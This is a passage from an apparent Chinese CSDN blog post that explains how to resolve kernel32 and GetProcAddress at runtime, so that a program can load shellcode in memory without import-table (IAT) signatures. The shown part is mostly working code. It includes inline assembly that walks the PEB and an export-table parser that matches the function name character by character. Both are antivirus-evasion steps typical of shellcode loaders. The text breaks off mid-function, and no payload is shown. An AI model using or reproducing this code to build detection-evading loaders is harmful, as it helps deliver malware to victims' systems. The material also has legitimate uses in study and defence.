动态调用VirtualProtect去除IAT特征

最新推荐文章于 2023-11-13 10:24:13 发布

「已注销」

最新推荐文章于 2023-11-13 10:24:13 发布

阅读量1.1k

点赞数

分类专栏： C/C++

本文链接：https://blog.csdn.net/claysystem/article/details/101128264

版权

在Windows 10 x64环境下，使用VS2017，通过获取Kernel32和GetProcAddress的基址，动态调用LoadLibraryA、VirtualProtect等函数，实现内存中shellcode文件的加载，以避免IAT（导入地址表）特征。

摘要由CSDN通过智能技术生成

编译环境:windows 10 专业版 x64 vs2017

获取Kennel32基址:


__declspec(naked) DWORD getKernel32()
{
	__asm
	{
		mov eax, fs:[030h];
		test eax, eax;
		js finished;
		mov eax, [eax + 0ch];
		mov eax, [eax + 14h];
		mov eax, [eax];
		mov eax, [eax];
		mov eax, [eax + 10h]
			finished:
		ret
	}
}

获取getProcAddress基址


FARPROC getProcAddress(HMODULE hModuleBase)
{
	PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
	PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
	if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
	{
		return NULL;
	}
	if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
	{
		return NULL;
	}
	PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
	PWORD lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
	PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);

	DWORD dwLoop = 0;
	FARPROC pRet = NULL;
	for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
	{
		char *pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
		if (pFunName[0] == 'G' &&
			pFunName[1] == 'e' &&
			pFunName[2] == 't' &&
			pFunName[3] == 'P' &&
			pFunName[4] == 'r' &&
			pFunName[5] == 'o' &&
			pFunName[6] == 'c' &&
			pFunName[7] == 'A' &&
			pFunName[8] == 'd' &&
			pFunName[9] == 'd' &&
			pFunName[10] == 'r' &&
			pFunName[11] == 'e' &&
			pFunName[12] == 's' &&
			pFunName[13] == 's')
		{
			pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoo